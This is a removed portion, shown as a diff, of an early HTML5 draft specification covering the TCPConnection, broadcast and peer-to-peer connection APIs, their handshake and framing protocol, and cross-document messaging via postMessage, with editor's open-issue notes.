-  void <a href="#initconnectionreadeventns" title=dom-ConnectionReadEvent-initConnectionReadEventNS>initConnectionReadEventNS</a>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg);
-};
-</pre>
-
-  <p>The <dfn id=data4
-   title=dom-ConnectionReadEvent-data><code>data</code></dfn> attribute must
-   contain the data that was transmitted from the peer.
-
-  <p>The <dfn id=source0
-   title=dom-ConnectionReadEvent-source><code>source</code></dfn> attribute
-   must contain the name of the peer. This is primarily useful on broadcast
-   connections; on direct connections it is equal to the <code
-   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute on the
-   <code><a href="#connection0">Connection</a></code> object.</p>
-  <!-- XXX check that the following three sections define "the data
-  that was transmitted" and "the name of the peer" in terms that mean
-  they fit into the above definitions ("for the purposes of the
-  ConnectionReadEvent"). -->
-  <!-- XXX should we have a Connection attribute on the event? -->
-
-  <p>The <dfn id=initconnectionreadevent
-   title=dom-ConnectionReadEvent-initConnectionReadEvent><code>initConnectionReadEvent()</code></dfn>
-   and <dfn id=initconnectionreadeventns
-   title=dom-ConnectionReadEvent-initConnectionReadEventNS><code>initConnectionReadEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <p>Events that would be fired during script execution (e.g. between the
-   connection object being created AMPERSANDmdash; and thus the connection being
-   established AMPERSANDmdash; and the current script completing; or, during the
-   execution of a <code title=event-connection-read><a
-   href="#read">read</a></code> event handler) must be buffered, and those
-   events queued up and each one individually fired after the script has
-   completed.</p>
-  <!-- XXX make this more generic -->
-
-  <h4 id=tcp-connections><span class=secno>7.2.4. </span>TCP connections</h4>
-
-  <p>The <dfn id=tcpconnection
-   title=dom-TCPConnection><code>TCPConnection(<var title="">subdomain</var>,
-   <var title="">port</var>, <var title="">secure</var>)</code></dfn>
-   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface returns a new object implementing the <code><a
-   href="#connection0">Connection</a></code> interface, set up for a direct
-   connection to a specified host on the page's domain.
-
-  <p>When this constructor is invoked, the following steps must be followed.
-
-  <p>First, if the <a href="#domain1">script's domain</a> is not a host name
-   (e.g. it is an IP address) then the UA must raise a <a
-   href="#security2">security exception</a>. <span class=issue>We currently
-   don't allow connections to be set up back to an originating IP address,
-   but we could, if the subdomain is the empty string.</span>
-
-  <p>Then, if the <var title="">subdomain</var> argument is null or the empty
-   string, the target host is the <a href="#domain1">script's domain</a>.
-   Otherwise, the <var title="">subdomain</var> argument is prepended to the
-   <a href="#domain1">script's domain</a> with a dot separating the two
-   strings, and that is the target host.
-
-  <p>If either:
-
-  <ul>
-   <li>the target host is not a valid host name, or
-
-   <li>the <var title="">port</var> argument is neither equal to 80, nor
-    equal to 443, nor greater than or equal to 1024 and less than or equal to
-    65535,
-  </ul>
-
-  <p>...then the UA must raise a <a href="#security2">security exception</a>.</p>
-  <!-- XXX we should have our own port for this too, e.g. 980 -->
-
-  <p>Otherwise, the user agent must verify that the <a href="#the-string">the
-   string representing the script's domain in IDNA format</a> can be obtained
-   without errors. If it cannot, then the user agent must raise a <a
-   href="#security2">security exception</a>.
-
-  <p>The user agent may also raise a <a href="#security2">security
-   exception</a> at this time if, for some reason, permission to create a
-   direct TCP connection to the relevant host is denied. Reasons could
-   include the UA being instructed by the user to not allow direct
-   connections, or the UA establishing (for instance using UPnP) that the
-   network topology will cause connections on the specified port to be
-   directed at the wrong host.
-
-  <p>If no exceptions are raised by the previous steps, then a new <code><a
-   href="#connection0">Connection</a></code> object must be created, its
-   <code title=dom-Connection-peer><a href="#peer">peer</a></code> attribute
-   must be set to a string consisting of the name of the target host, a colon
-   (U+003A COLON), and the port number as decimal digits, and its <code
-   title=dom-Connection-network><a href="#network0">network</a></code>
-   attribute must be set to the same value as the <code
-   title=dom-Connection-peer><a href="#peer">peer</a></code> attribute.
-
-  <p>This object must then be returned.
-
-  <p>The user agent must then begin trying to establish a connection with the
-   target host and specified port. (This typically would begin in the
-   backgound, while the script continues to execute.)
-
-  <p>If the <var title="">secure</var> boolean argument is set to true, then
-   the user agent must establish a secure connection with the target host and
-   specified port using TLS or another protocol, negotiated with the server.
-   <a href="#refsRFC2246">[RFC2246]</a> If this fails the user agent must act
-   as if it had <a href="#closeConnection">closed the connection</a>.
-
-  <p>Once a secure connection is established, or if the <var
-   title="">secure</var> boolean argument is not set to true, then the user
-   agent must continue to connect to the server using the protocol described
-   in the section entitled <a href="#clients1">clients connecting over
-   TCP</a>. All data on connections made using TLS must be sent as
-   "application data".
-
-  <p>Once the connection is established, the UA must act as described in the
-   section entitled <a href="#sending1">sending and receiving data over
-   TCP</a>.
-
-  <p>User agents should allow multiple TCP connections to be established per
-   host. In particular, user agents should not apply per-host HTTP connection
-   limits to connections established with the <code
-   title=dom-TCPConnection><a href="#tcpconnection">TCPConnection</a></code>
-   constructor.
-
-  <h4 id=broadcast><span class=secno>7.2.5. </span>Broadcast connections</h4>
-
-  <p>The <dfn id=localbroadcastconnection
-   title=dom-LocalBroadcastConnection><code>LocalBroadcastConnection()</code></dfn>
-   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface returns a new object implementing the <code><a
-   href="#connection0">Connection</a></code> interface, set up to broadcast
-   on the local network.
-
-  <p>When this constructor is invoked, a new <code><a
-   href="#connection0">Connection</a></code> object must be created.
-
-  <p>The <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute of the object must be set to
-   <a href="#the-string">the string representing the script's domain in IDNA
-   format</a>. If this string cannot be obtained, then the user agent must
-   raise a <a href="#security2">security exception</a> exception when the
-   constructor is called.
-
-  <p>The <code title=dom-Connection-peer><a href="#peer">peer</a></code>
-   attribute must be set to the empty string.
-
-  <p>The object must then be returned, unless, for some reason, permission to
-   broadcast on the local network is to be denied. In the latter case, a <a
-   href="#security2">security exception</a> must be raised instead. User
-   agents may deny such permission for any reason, for example a user
-   preference.
-
-  <p>If the object is returned (i.e. if no exception is raised), the user
-   agent must the begin broadcasting and listening on the local network, in
-   the background, as described below. The user agent may define "the local
-   network" in any way it considers appropriate and safe; for instance the
-   user agent may ask the user which network (e.g. Bluetooth, IrDA, Ethernet,
-   etc) the user would like to broadcast on before beginning broadcasting.
-
-  <p>UAs may broadcast and listen on multiple networks at once. For example,
-   the UA could broadcast on both Bluetooth and Wifi at the same time.</p>
-  <!-- XXX bridging? how do we handle one UA not seeing
-  the same hosts as another UA? -->
-
-  <p>As soon as the object is returned, the connection <a
-   href="#openConnection">has been established</a>, which implies that the
-   <code title=event-connection-open><a href="#open2">open</a></code> event
-   must be fired. Broadcast connections are never closed.
-
-  <h5 id=broadcasting><span class=secno>7.2.5.1. </span>Broadcasting over
-   TCP/IP</h5>
-
-  <p class=big-issue>Should we drop this altogether? Letting people fill the
-   local network with garbage seems unwise.
-
-  <p class=big-issue>We need to register a UDP port for this. For now this
-   spec refers to port 18080/udp.
-
-  <p class=note>Since this feature requires that the user agent listen to a
-   particular port, some platforms might prevent more than one user agent per
-   IP address from using this feature at any one time.
-
-  <p>On TCP/IP networks, broadcast connections transmit data using UDP over
-   port 18080.
-
-  <p>When the <code title=dom-Connection-send><a href="#send">send(<var
-   title="">data</var>)</a></code> method is invoked on a <code><a
-   href="#connection0">Connection</a></code> object that was created by the
-   <code title=dom-LocalBroadcastConnection><a
-   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>
-   constructor, the user agent must follow these steps:
-
-  <ol>
-   <li>Create a string consisting of the value of the <code
-    title=dom-Connection-network><a href="#network0">network</a></code>
-    attribute of the <code><a href="#connection0">Connection</a></code>
-    object, a U+0020 SPACE character, a U+0002 START OF TEXT character, and
-    the <var title="">data</var> argument.
-
-   <li>Encode the string as UTF-8.
-
-   <li>If the resulting byte stream is longer than 65487 bytes, raise an
-    <code>INDEX_SIZE_ERR</code> DOM exception and stop.
-
-   <li>Create a UDP packet whose data is the byte stream, with the source and
-    destination ports being 18080, and with appropriate length and checksum
-    fields. Transmit this packet to IPv4 address 255.255.255.255 or IPv6
-    address ff02::1, as appropriate. <span class=note>IPv6 applications will
-    also have to enable reception from this address.</span>
-  </ol>
-
-  <p>When a broadcast connection is opened on a TCP/IP network, the user
-   agent should listen for UDP packets on port 18080.
-
-  <p>When the user agent receives a packet on port 18080, the user agent must
-   attempt to decode that packet's data as UTF-8. If the data is not fully
-   correct UTF-8 (i.e. if there are decoding errors) then the packet must be
-   ignored. Otherwise, the user agent must check to see if the decoded string
-   contains a U+0020 SPACE character. If it does not, then the packet must
-   again be ignored (it might be a peer discovery packet from a <code
-   title=dom-PeerToPeerConnection><a
-   href="#peertopeerconnection">PeerToPeerConnection()</a></code>
-   constructor). If it does then the user agent must split the string at the
-   first space character. All the characters before the space are then known
-   as <var title="">d</var>, and all the characters after the space are known
-   as <var title="">s</var>. If <var title="">s</var> is not at least one
-   character long, or if the first character of <var title="">s</var> is not
-   a U+0002 START OF TEXT character, then the packet must be ignored. (This
-   allows for future extension of this protocol.)
-
-  <p>Otherwise, for each <code><a href="#connection0">Connection</a></code>
-   object that was created by the <code title=dom-LocalBroadcastConnection><a
-   href="#localbroadcastconnection">LocalBroadcastConnection()</a></code>
-   constructor and whose <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute exactly matches <var
-   title="">d</var>, a <code title=event-connection-read><a
-   href="#read">read</a></code> event must be fired on the <code><a
-   href="#connection0">Connection</a></code> object. The string <var
-   title="">s</var>, with the first character removed, must be used as the
-   <code title=dom-ConnectionReadEvent-data><a href="#data4">data</a></code>,
-   and the source IP address of the packet as the <code
-   title=dom-ConnectionReadEvent-source><a href="#source0">source</a></code>.
-
-  <p class=big-issue>Making the source IP available means that if two or more
-   machines in a private network can be made to go to a hostile page
-   simultaneously, the hostile page can determine the IP addresses used
-   locally (i.e. on the other side of any NAT router). Is there some way we
-   can keep link-local IP addresses secret while still allowing for
-   applications to distinguish between multiple participants?
-
-  <h5 id=bluetooth-broadcast><span class=secno>7.2.5.2. </span>Broadcasting
-   over Bluetooth</h5>
-
-  <p class=big-issue>Does anyone know enough about Bluetooth to write this
-   section?
-
-  <h5 id=irda-broadcast><span class=secno>7.2.5.3. </span>Broadcasting over
-   IrDA</h5>
-
-  <p class=big-issue>Does anyone know enough about IrDA to write this
-   section?
-
-  <h4 id=peer-to-peer><span class=secno>7.2.6. </span>Peer-to-peer
-   connections</h4>
-
-  <p>The <dfn id=peertopeerconnection
-   title=dom-PeerToPeerConnection><code>PeerToPeerConnection()</code></dfn>
-   constructor on the <code><a href="#windowhtml">WindowHTML</a></code>
-   interface returns a new object implementing the <code><a
-   href="#connection0">Connection</a></code> interface, set up for a direct
-   connection to a user-specified host.
-
-  <p>When this constructor is invoked, a new <code><a
-   href="#connection0">Connection</a></code> object must be created.
-
-  <p>The <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute of the object must be set to
-   <a href="#the-string">the string representing the script's domain in IDNA
-   format</a>. If this string cannot be obtained, then the user agent must
-   raise a <a href="#security2">security exception</a> exception when the
-   constructor is called.
-
-  <p>The <code title=dom-Connection-peer><a href="#peer">peer</a></code>
-   attribute must be set to the empty string.
-
-  <p>The object must then be returned, unless, for some reason, permission to
-   establish peer-to-peer connections is generally disallowed, for example
-   due to administrator settings. In the latter case, a <a
-   href="#security2">security exception</a> must be raised instead.
-
-  <p>The user agent must then, typically while the script resumes execution,
-   find a remote host to establish a connection to. To do this it must start
-   broadcasting and listening for peer discovery messages and listening for
-   incoming connection requests on all the supported networks. How this is
-   performed depends on the type of network and is described below.
-
-  <p>The UA should inform the user of the clients that are detected, and
-   allow the user to select one to connect to. UAs may also allow users to
-   explicit specify hosts that were not detected, e.g. by having the user
-   enter an IP address.
-
-  <p>If an incoming connection is detected before the user specifies a target
-   host, the user agent should ask the user to confirm that this is the host
-   they wish to connect to. If it is, the connection should be accepted and
-   the UA will act as the <em>server</em> in this connection. (Which UA acts
-   as the server and which acts as the client is not discernible at the DOM
-   API level.)
-
-  <p>If no incoming connection is detected and if the user specifies a
-   particular target host, a connection should be established to that host,
-   with the UA acting as the <em>client</em> in the connection.
-
-  <p>No more than one connection must be established per <code><a
-   href="#connection0">Connection</a></code> object, so once a connection has
-   been established, the user agent must stop listening for further
-   connections (unless, or until such time as, another <code><a
-   href="#connection0">Connection</a></code> object is being created).
-
-  <p>If at any point the user cancels the connection process or the remote
-   host refuses the connection, then the user agent must act as if it had <a
-   href="#closeConnection">closed the connection</a>, and stop trying to
-   connect.
-
-  <h5 id=peer-to-peer0><span class=secno>7.2.6.1. </span>Peer-to-peer
-   connections over TCP/IP</h5>
-
-  <p class=big-issue>Should we replace this section with something that uses
-   Rendez-vous/zeroconf or equivalent?
-
-  <p class=big-issue>We need to register ports for this. For now this spec
-   refers to port 18080/udp and 18080/tcp.
-
-  <p class=note>Since this feature requires that the user agent listen to a
-   particular port, some platforms might prevent more than one user agent per
-   IP address from using this feature at any one time.
-
-  <p>When using TCP/IP, broadcasting peer discovery messages must be done by
-   creating UDP packets every few seconds containing as their data the value
-   of the connection's <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute, encoded as UTF-8, with the
-   source and destination ports being set to 18080 and appropriate length and
-   checksum fields, and sending these packets to address (in IPv4)
-   255.255.255.255 or (in IPv6) ff02::1, as appropriate.
-
-  <p>Listening for peer discovery messages must be done by examining incoming
-   UDP packets on port 18080. <span class=note>IPv6 applications will also
-   have to enable reception from the ff02::1 address.</span> If their payload
-   is exactly byte-for-byte equal to a UTF-8 encoded version of the value of
-   the connection's <code title=dom-Connection-network><a
-   href="#network0">network</a></code> attribute, then the source address of
-   that packet represents the address of a host that is ready to accept a
-   peer-to-peer connection, and it should therefore be offered to the user.
-
-  <p>Incoming connection requests must be listened for on TCP port 18080. If
-   an incoming connection is received, the UA must act as a <em>server</em>,
-   as described in the section entitled <a href="#servers1">servers accepting
-   connections over TCP</a>.
-
-  <p>If no incoming connection requests are accepted and the user instead
-   specifies a target host to connect to, the UA acts as a <em>client</em>:
-   the user agent must attempt to connect to the user-specified host on port
-   18080, as described in the section entitled <a href="#clients1">clients
-   connecting over TCP</a>.
-
-  <p>Once the connection is established, the UA must act as described in the
-   section entitled <a href="#sending1">sending and receiving data over
-   TCP</a>.
-
-  <p class=note>This specification does not include a way to establish
-   <em>secure</em> (encrypted) peer-to-peer connections at this time. <span
-   class=big-issue>If you can see a good way to do this, let me know.</span>
-
-  <h5 id=bluetooth-peer><span class=secno>7.2.6.2. </span>Peer-to-peer
-   connections over Bluetooth</h5>
-
-  <p class=big-issue>Does anyone know enough about Bluetooth to write this
-   section?
-
-  <h5 id=irda-peer><span class=secno>7.2.6.3. </span>Peer-to-peer connections
-   over IrDA</h5>
-
-  <p class=big-issue>Does anyone know enough about IrDA to write this
-   section?</p>
-  <!--XXX
-    <p>Prompts the user to select a connection to make, which could
-    look like this:</p>
-
-<pre>|:: New Connection :::::::::::::::::::::::::::::::::::::::::|
-|                                                           |
-|  Select the peer to connect to:                           |
-|                                                           |
-|    JohnSmith_Series60   via Bluetooth      (( Connect ))  |
-|    Patrick's Phone      via Bluetooth       ( Connect )   |
-|    John Smith           via UDP             ( Connect )   |
-|                                                           |
-|                                               ( Cancel )  |
-|___________________________________________________________|
-</pre>
-
-    <p>While the prompt is displayed, the UA should broadcast on all
-    supported networks, as described <span title="announcing peer
-    connections">below</span>.</p>
-
-    <p>Returns null if the prompt was canceled. Otherwise, returns a
-    <code>Connection</code> object with its <code>network</code>
-    attribute set to <var title="">topic</var> and its <code>peer</code>
-    attribute set to a string uniquely identifying the selected peer,
-    and opens a connection to that peer. (See: <span>peer connection
-    formats</span>.)</p>
-
-
-   |:: New Connection :::::::::::::::::::::::::::::::::::::::::|
-   |                                                           |
-   |  Would you like to open a connection called "Chess" for   |
-   |  this Web site?:                                          |
-   |                                                           |
-   |    example.org                                            |
-   |                                                           |
-   |  Select connection to use: [ Bluetooth      | v ]         |
-   |                                                           |
-   |                        (( Open connection ))  ( Cancel )  |
-   |___________________________________________________________|
-
-  c = new LocalBroadcastConnection("Chess");
-  c.onread = function(s, f) { alert("got message " + s + " from " + f); }
-  c.send("hello, anybody there?");
-
-
-   |:: New Connection :::::::::::::::::::::::::::::::::::::::::|
-   |                                                           |
-   |  Select the peer to connect to:                           |
-   |                                                           |
-   |    JohnSmith_Series60   via Bluetooth      (( Connect ))  |
-   |    Patrick's Phone      via Bluetooth       ( Connect )   |
-   |    John Smith           via UDP             ( Connect )   |
-   |                                                           |
-   |                                               ( Cancel )  |
-   |___________________________________________________________|
-
-  c = new LocalPeerConnection("Chess");
-  // c.peer contains peer's name
-  c.onread = function(s) { alert("got message " + s); } // second argument is c.peer
-  c.send("hello");
-
-  c = new TCPConnection("chess.example.com", 8089, false);
-  // c.peer contains 'chess.example.com:8089'
-  c.onread = function(s) { alert("got message " + s); } // second argument is c.peer
-  c.send("hello");
-
-> > Again, what else should we support? Should this have an HTML Element
-> > backing it for more declarative authoring? What error handling do we need?
-> > Should it automatically use bluetooth, TCP/IP broadcast, infrared, or
-> > should it be under the control of the author or user?
--->
-
-  <h4 id=the-common><span class=secno>7.2.7. </span>The common protocol for
-   TCP-based connections</h4>
-
-  <p>The same protocol is used for <code title=dom-TCPConnection><a
-   href="#tcpconnection">TCPConnection</a></code> and <code
-   title=dom-PeerToPeerConnection><a
-   href="#peertopeerconnection">PeerToPeerConnection</a></code> connection
-   types. This section describes how such connections are established from
-   the client and server sides, and then describes how data is sent and
-   received over such connections (which is the same for both clients and
-   servers).
-
-  <h5 id=clients><span class=secno>7.2.7.1. </span><dfn id=clients1>Clients
-   connecting over TCP</dfn></h5>
-
-  <p>This section defines the client-side requirements of the protocol used
-   by the <code title=dom-TCPConnection><a
-   href="#tcpconnection">TCPConnection</a></code> and <code
-   title=dom-PeerToPeerConnection><a
-   href="#peertopeerconnection">PeerToPeerConnection</a></code> connection
-   types.
-
-  <p>If a TCP connection to the specified target host and port cannot be
-   established, for example because the target host is a domain name that
-   cannot be resolved to an IP address, or because packets cannot be routed
-   to the host, the user agent should retry creating the connection. If the
-   user agent gives up trying to connect, the user agent must act as if it
-   had <a href="#closeConnection">closed the connection</a>.
-
-  <p class=note>No information regarding the state of the connection is
-   passed to the application while the connection is being established in
-   this version of this specification.
-
-  <p>Once a TCP/IP connection to the remote host is established, the user
-   agent must transmit the following sequence of bytes, represented here in
-   hexadecimal form:
-
-  <pre>0x48 0x65 0x6C 0x6C 0x6F 0x0A</pre>
-
-  <p class=note>This represents the string "Hello" followed by a newline,
-   encoded in UTF-8.
-
-  <p>The user agent must then read all the bytes sent from the remote host,
-   up to the first 0x0A byte (inclusive). That string of bytes is then
-   compared byte-for-byte to the following string of bytes:
-
-  <pre>0x57 0x65 0x6C 0x63 0x6F 0x6E 0x65 0x0A</pre>
-
-  <p class=note>This says "Welcome".
-
-  <p>If the server sent back a string in any way different to this, then the
-   user agent must <a href="#closeConnection">close the connection</a> and
-   give up trying to connect.
-
-  <p>Otherwise, the user agent must then take <a href="#the-string">the
-   string representing the script's domain in IDNA format</a>, encode it as
-   UTF-8, and send that to the remote host, followed by a 0x0A byte (a U+000A
-   LINE FEED in UTF-8).
-
-  <p>The user agent must then read all the bytes sent from the remote host,
-   up to the first 0x0A byte (inclusive). That string of bytes must then be
-   compared byte-for-byte to the string that was just sent to the server (the
-   one with the IDNA domain name and ending with a newline character). If the
-   server sent back a string in any way different to this, then the user
-   agent must <a href="#closeConnection">close the connection</a> and give up
-   trying to connect.
-
-  <p>Otherwise, the connection <a href="#openConnection">has been
-   established</a> (and events and so forth get fired, as described above).
-
-  <p>If at any point during this process the connection is closed
-   prematurely, then the user agent must <a href="#closeConnection">close the
-   connection</a> and give up trying to connect.</p>
-  <!-- XXX we should support automatic reconnect -->
-
-  <h5 id=servers><span class=secno>7.2.7.2. </span><dfn id=servers1>Servers
-   accepting connections over TCP</dfn></h5>
-
-  <p>This section defines the server side of the protocol described in the
-   previous section. For authors, it should be used as a guide for how to
-   implement servers that can communicate with Web pages over TCP. For UAs
-   these are the requirements for the server part of <code
-   title=dom-PeerToPeerConnection><a
-   href="#peertopeerconnection">PeerToPeerConnection</a></code>s.
-
-  <p>Once a TCP/IP connection from a remote host is established, the user
-   agent must transmit the following sequence of bytes, represented here in
-   hexadecimal form:
-
-  <pre>0x57 0x65 0x6C 0x63 0x6F 0x6E 0x65 0x0A</pre>
-
-  <p class=note>This says "Welcome" and a newline in UTF-8.
-
-  <p>The user agent must then read all the bytes sent from the remote host,
-   up to the first 0x0A byte (inclusive). That string of bytes is then
-   compared byte-for-byte to the following string of bytes:
-
-  <pre>0x48 0x65 0x6C 0x6C 0x6F 0x0A</pre>
-
-  <p class=note>"Hello" and a newline.
-
-  <p>If the remote host sent back a string in any way different to this, then
-   the user agent must <a href="#closeConnection">close the connection</a>
-   and give up trying to connect.
-
-  <p>Otherwise, the user agent must then take <a href="#the-string">the
-   string representing the script's domain in IDNA format</a>, encode it as
-   UTF-8, and send that to the remote host, followed by a 0x0A byte (a U+000A
-   LINE FEED in UTF-8).
-
-  <p>The user agent must then read all the bytes sent from the remote host,
-   up to the first 0x0A byte (inclusive). That string of bytes must then be
-   compared byte-for-byte to the string that was just sent to that host (the
-   one with the IDNA domain name and ending with a newline character). If the
-   remote host sent back a string in any way different to this, then the user
-   agent must <a href="#closeConnection">close the connection</a> and give up
-   trying to connect.
-
-  <p>Otherwise, the connection <a href="#openConnection">has been
-   established</a> (and events and so forth get fired, as described above).
-
-  <p class=note>For author-written servers (as opposed to the server side of
-   a peer-to-peer connection), the script's domain would be replaced by the
-   hostname of the server. Alternatively, such servers might instead wait for
-   the client to send its domain string, and then simply echo it back. This
-   would allow connections from pages on any domain, instead of just pages
-   originating from the same host. The client compares the two strings to
-   ensure they are the same before allowing the connection to be used by
-   author script.
-
-  <p>If at any point during this process the connection is closed
-   prematurely, then the user agent must <a href="#closeConnection">close the
-   connection</a> and give up trying to connect.</p>
-  <!-- XXX we should support automatic reconnect -->
-
-  <h5 id=sending><span class=secno>7.2.7.3. </span><dfn id=sending1>Sending
-   and receiving data over TCP</dfn></h5>
-
-  <p>When the <code title=dom-Connection-send><a href="#send">send(<var
-   title="">data</var>)</a></code> method is invoked on the connection's
-   corresponding <code><a href="#connection0">Connection</a></code> object,
-   the user agent must take the <var title="">data</var> argument, replace
-   any U+0000 NULL and U+0017 END OF TRANSMISSION BLOCK characters in it with
-   U+FFFD REPLACEMENT CHARACTER characters, then transmit a U+0002 START OF
-   TEXT character, this new <var title="">data</var> string and a single
-   U+0017 END OF TRANSMISSION BLOCK character (in that order) to the remote
-   host, all encoded as UTF-8.
-
-  <p>When the user agent receives bytes on the connection, the user agent
-   must buffer received bytes until it receives a 0x17 byte (a U+0017 END OF
-   TRANSMISSION BLOCK character). If the first buffered byte is not a 0x02
-   byte (a U+0002 START OF TEXT character encoded as UTF-8) then all the data
-   up to the 0x17 byte, inclusive, must be dropped. (This allows for future
-   extension of this protocol.) Otherwise, all the data from (but not
-   including) the 0x02 byte and up to (but not including) the 0x17 byte must
-   be taken, interpreted as a UTF-8 string, and a <code
-   title=event-connection-read><a href="#read">read</a></code> event must be
-   fired on the <code><a href="#connection0">Connection</a></code> object
-   with that string as the <code title=dom-ConnectionReadEvent-data><a
-   href="#data4">data</a></code>. If that string cannot be decoded as UTF-8
-   without errors, the packet should be ignored.
-
-  <p class=note>This protocol does not yet allow binary data (e.g. an image
-   or video data) to be efficiently transmitted. A future version of this
-   protocol might allow this by using the prefix character U+001F INFORMATION
-   SEPARATOR ONE, followed by binary data which uses a particular byte (e.g.
-   0xFF) to encode byte 0x17 somehow (since otherwise 0x17 would be treated
-   as transmission end by down-level UAs).</p>
-  <!--
-    Specifically, replace all occurrences of 0xFF with 0xFF 0xFF and
-    all occurrences of 0x17 with 0xFF 0x00, or similar.
-   -->
-
-  <h4 id=network-security><span class=secno>7.2.8. </span>Security</h4>
-
-  <p class=big-issue>Need to write this section.
-
-  <p class=big-issue>If you have an unencrypted page that is (through a
-   man-in-the-middle attack) changed, it can access a secure service that is
-   using IP authentication and then send that data back to the attacker. Ergo
-   we should probably stop unencrypted pages from accessing encrypted
-   services, on the principle that the actual level of security is zero. Then
-   again, if we do that, we prevent insecure sites from using SSL as a
-   tunneling mechanism.
-
-  <p class=big-issue>Should consider dropping the subdomain-only restriction.
-   It doesn't seem to add anything, and prevents cross-domain chatter.
-
-  <h4 id=network-other-specs><span class=secno>7.2.9. </span>Relationship to
-   other standards</h4>
-
-  <p class=big-issue>Should have a section talking about the fact that we
-   blithely ignoring IANA's port assignments here.
-
-  <p class=big-issue>Should explain why we are not reusing HTTP for this.
-   (HTTP is too heavy-weight for such a simple need; requiring authors to
-   implement an HTTP server just to have a party line is too much of a
-   barrier to entry; cannot rely on prebuilt components; having a simple
-   protocol makes it much easier to do RAD; HTTP doesn't fit the needs and
-   doesn't have the security model needed; etc)
-
-  <h3 id=crossDocumentMessages><span class=secno>7.3. </span><dfn
-   id=cross-document0>Cross-document messaging</dfn></h3>
-
-  <p>Web browsers, for security and privacy reasons, prevent documents in
-   different domains from affecting each other; that is, cross-site scripting
-   is disallowed.
-
-  <p>While this is an important security feature, it prevents pages from
-   different domains from communicating even when those pages are not
-   hostile. This section introduces a messaging system that allows documents
-   to communicate with each other regardless of their source domain, in a way
-   designed to not enable cross-site scripting attacks.
-
-  <h4 id=processing2><span class=secno>7.3.1. </span>Processing model</h4>
-
-  <p>When a script invokes the <dfn id=postmessage
-   title=dom-document-postMessage><code>postMessage(<var
-   title="">message</var>)</code></dfn> method on a <code>Document</code>
-   object, the user agent must create an event that uses the <code><a
-   href="#crossdocumentmessageevent">CrossDocumentMessageEvent</a></code>
-   interface, with the event name <dfn id=message
-   title=event-message><code>message</code></dfn>, which bubbles, is
-   cancelable, and has no default action. The <dfn id=data5
-   title=dom-CrossDocumentMessageEvent-data><code>data</code></dfn> attribute
-   must be set to the value passed as the <var title="">message</var>
-   argument to the <code title=dom-document-postMessage><a
-   href="#postmessage">postMessage()</a></code> method, the <dfn id=domain3
-   title=dom-CrossDocumentMessageEvent-domain><code>domain</code></dfn>
-   attribute must be set to the domain of the document that the script that
-   invoked the methods is associated with, the <dfn id=uri
-   title=dom-CrossDocumentMessageEvent-uri><code>uri</code></dfn> attribute
-   must be set to the URI of that document, and the <dfn id=source1
-   title=dom-CrossDocumentMessageEvent-source><code>source</code></dfn>
-   attribute must be set to the <code>Document</code> object representing
-   that document.
-
-  <p class=warning>Authors should check the <code
-   title=dom-CrossDocumentMessageEvent-domain><a
-   href="#domain4">domain</a></code> attribute to ensure that messages are
-   only accepted from domains that they expect to receive messages from.
-   Otherwise, bugs in the author's message handling code could be exploited
-   by hostile sites.
-
-  <div class=example>
-   <p>For example, if document A contains an <code><a
-    href="#object0">object</a></code> element that contains document B, and
-    script in document A calls <code>postMessage()</code> on document B, then
-    a message event will be fired on that element, marked as originating from
-    document A. The script in document A might look like:</p>
-
-   <pre>var o = document.getElementsByTagName('object')[0];
-o.<span>contentDocument</span>.<span>postMessage</span>('Hello world');
-</pre>
-
-   <p>To register an event handler for incoming events, the script would use
-    <code>addEventListener()</code> (or similar mechanisms). For example, the
-    script in document B might look like:</p>
-
-   <pre>document.addEventListener('message', receiver, false);
-function receiver(e) {
-  if (e.domain == 'example.com') {
-    if (e.data == 'Hello world') {
-      e.source.postMessage('Hello');
-    } else {
-      alert(e.data);
-    }
-  }
-}</pre>
-
-   <p>This script first checks the domain is the expected domain, and then
-    looks at the message, which it either displays to the user, or responds
-    to by sending a message back to the document which sent the message in
-    the first place.</p>
-  </div>
-
-  <p class=note>Implementors are urged to take extra care in the
-   implementation of this feature. It allows authors to transmit information
-   from one domain to another domain, which is normally disallowed for
-   security reasons. It also requires that UAs be careful to allow access to
-   certain properties but not others.
-
-  <h4 id=event0><span class=secno>7.3.2. </span>Event definitions</h4>
-
-  <p>The <a href="#postmessage"
-   title=dom-document-postMessage>postMessage()</a> method causes an event to
-   be dispatched (as defined above). This event uses the following interface:
-
-  <pre
-   class=idl>interface <dfn id=crossdocumentmessageevent>CrossDocumentMessageEvent</dfn> : Event {
-  readonly attribute DOMString <a href="#data6" title=dom-CrossDocumentMessageEvent-data>data</a>;
-  readonly attribute DOMString <a href="#domain4" title=dom-CrossDocumentMessageEvent-domain>domain</a>;
-  readonly attribute DOMString <a href="#uri0" title=dom-CrossDocumentMessageEvent-uri>uri</a>;
-  readonly attribute Document <a href="#source2" title=dom-CrossDocumentMessageEvent-source>source</a>;
-  void <a href="#initcrossdocumentmessageevent" title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEvent>initCrossDocumentMessageEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg, in DOMString domainArg, in DOMString uriArg, in Document documentArg);
-  void <a href="#initcrossdocumentmessageeventns" title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEventNS>initCrossDocumentMessageEventNS</a>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg, in DOMString domainArg, in DOMString uriArg, in Document documentArg);
-};</pre>
-
-  <p>The <dfn id=data6
-   title=dom-CrossDocumentMessageEvent-data><code>data</code></dfn> attribute
-   represents the message being sent.
-
-  <p>The <dfn id=domain4
-   title=dom-CrossDocumentMessageEvent-domain><code>domain</code></dfn>
-   attribute represents the domain of the document from which the message
-   came.
-
-  <p>The <dfn id=uri0
-   title=dom-CrossDocumentMessageEvent-uri><code>uri</code></dfn> attribute
-   represents the address of the document from which the message came.
-
-  <p>The <dfn id=source2
